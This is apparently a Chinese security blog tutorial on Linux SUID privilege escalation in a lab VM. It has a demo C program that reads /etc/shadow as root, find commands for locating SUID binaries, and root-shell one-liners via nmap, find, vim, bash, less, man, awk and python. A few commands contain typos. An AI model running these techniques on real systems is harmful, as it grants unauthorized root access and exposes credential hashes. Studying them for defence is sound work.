我认为,无论是学习安全还是从事安全的人,多多少少都有些许的情怀和使命感!!!
文章目录
一、LINUX SUID提权1、SUID简介2、SUID测试(1)实验环境(2)靶机suid提权环境测试(3)总结3、SUID提权(1)提权原理(2)可用于suid提权的命令(3)查找具有root权限的SUID的二进制可执行命令文件(4)nmap命令提权姿势(5)find命令提权姿势(6)vim命令提权姿势(7)bash命令提权姿势(8)less/more命令提权姿势(9)cp命令提权姿势(10)nano命令提权姿势(11)man命令提权姿势(12)awk命令提权姿势(13)python命令提权姿势一、LINUX SUID提权
1、SUID简介
SUID
是一种特殊的文件属性
,它允许其他用户在执行文件的时候,以该文件的拥有者的身份运行。
SUID
是一种对二进制程序进行设置的特殊权限,可以让
二进制程序的执行者临时拥有属主的权限
(仅对拥有执行权限的二进制程序有效)。
例如,所有用户都可以执行passwd命令来修改自己的用户密码,而用户密码保存在/etc/shadow文件中。仔细查看这个文件就会发现它的默认权限是000,也就是说除了root管理员以外,所有用户都没有查看或编辑该文件的权限。但是,在使用passwd命令时如果加上SUID特殊权限位,就可让普通用户临时获得程序所有者的身份,把变更的密码信息写入到shadow文件中。这很像我们在古装剧中见到的手持尚方宝剑的钦差大臣,他手持的尚方宝剑代表的是皇上的权威,因此可以惩戒贪官,但这并不意味着他永久成为了皇上。因此这只是一种有条件的、临时的特殊权限授权方法。
2、SUID测试
(1)实验环境
靶机环境:虚拟机Ubuntu-15.5.04-3.19.0-15-generic
(2)靶机suid提权环境测试
【以 root进行编译和权限设置】
第一步:编辑suid-demo.c源代码
#include <stdlib.h>#include <unistd.h>int main(){setuid(0);//设置suid为0,也就是run as rootsystem("id");system("cat /etc/shadow");}
第二步:编译gcc suid-demo.c -o suid-demo
第三步:设置suid位chmod 4775 suid-exp
第四步:ls 查询文件,注意s属性标识这个程序有suid的属性
第五步:使用find / -perm -u=s -type f 2>/dev/null
命令来查询根本目录下所有带用suid属性的文件
【普通用户执行】
第六步:切换到普通用户moonteam,再去执行suid-demo,发现此时是以root的权限执行的该二进制文件
(3)总结
若靶机上的某个二进制命令文件,没有在root下设置suid临时权限,我们可以su root切换到root用户,然后输入chmod 4775 某命令文件,即可设置suid提权的环境!!!
3、SUID提权
(1)提权原理
简单理解为,一个文件有s标志(权限中包含s),并且对应的是root权限,那么当运行这个程序时就有root权限,且这个程序还能执行命令。此时就能从普通用户提升到root权限了!!!
(2)可用于suid提权的命令
NmapVimfindBashMoreLesscpNanoManAwkPerlPythonTcmdump
(3)查找具有root权限的SUID的二进制可执行命令文件
姿势1:find / -user root -perm -4000 -print 2>/dev/null
姿势2:find / -perm -u=s -type f 2>/dev/null
姿势3:find / -user root -perm -4000 -exec ls -ldb {} \;
(4)nmap命令提权姿势
旧版本的Nmap(2.02至5.21)具有交互模式,允许用户执行shell命令。若Nmap在使用root权限执行的二进制文件列表中,也就是在root权限下设置了SUID临时权限,则可以使用交互式控制台来运行具有相同权限的shell。
第一步:nmap -v
第二步:nmap --interactive
第三步:nmap>!sh
(5)find命令提权姿势
若find在使用root权限执行的二进制文件列表中,也就是在root权限下设置了SUID临时权限,则可以使用-exec参数以root权限执行命令甚至可以开启一个root权限的shell。
第一步:touch demo.txt
第二步:find demo.txt -exec whoami \;
第三步:find demo-exec /bin/bash -p \;
(6)vim命令提权姿势
Vim是Linux环境下的一款文件编辑器。若vim在root权限下设置了SUID临时权限,则可以在编辑状态下以root权限开启一个shell。
第一步:vim
图略
第二步::shell
图略
(7)bash命令提权姿势
第一步:bash -p
(8)less/more命令提权姿势
第一步:less或more /etc/passwd
图略
第二步:!/bin/bash或!/bin/sh
图略
(9)cp命令提权姿势
略
(10)nano命令提权姿势
略
(11)man命令提权姿势
第一步:man cat
图略
第二步:!/bin/bash或/bin/sh
图略
(12)awk命令提权姿势
第一步:awk 'BEGIN {system("/bin/bash")}'
图略
(13)python命令提权姿势
第一步:python -c 'import os;os.system("/bin/bash")'
图略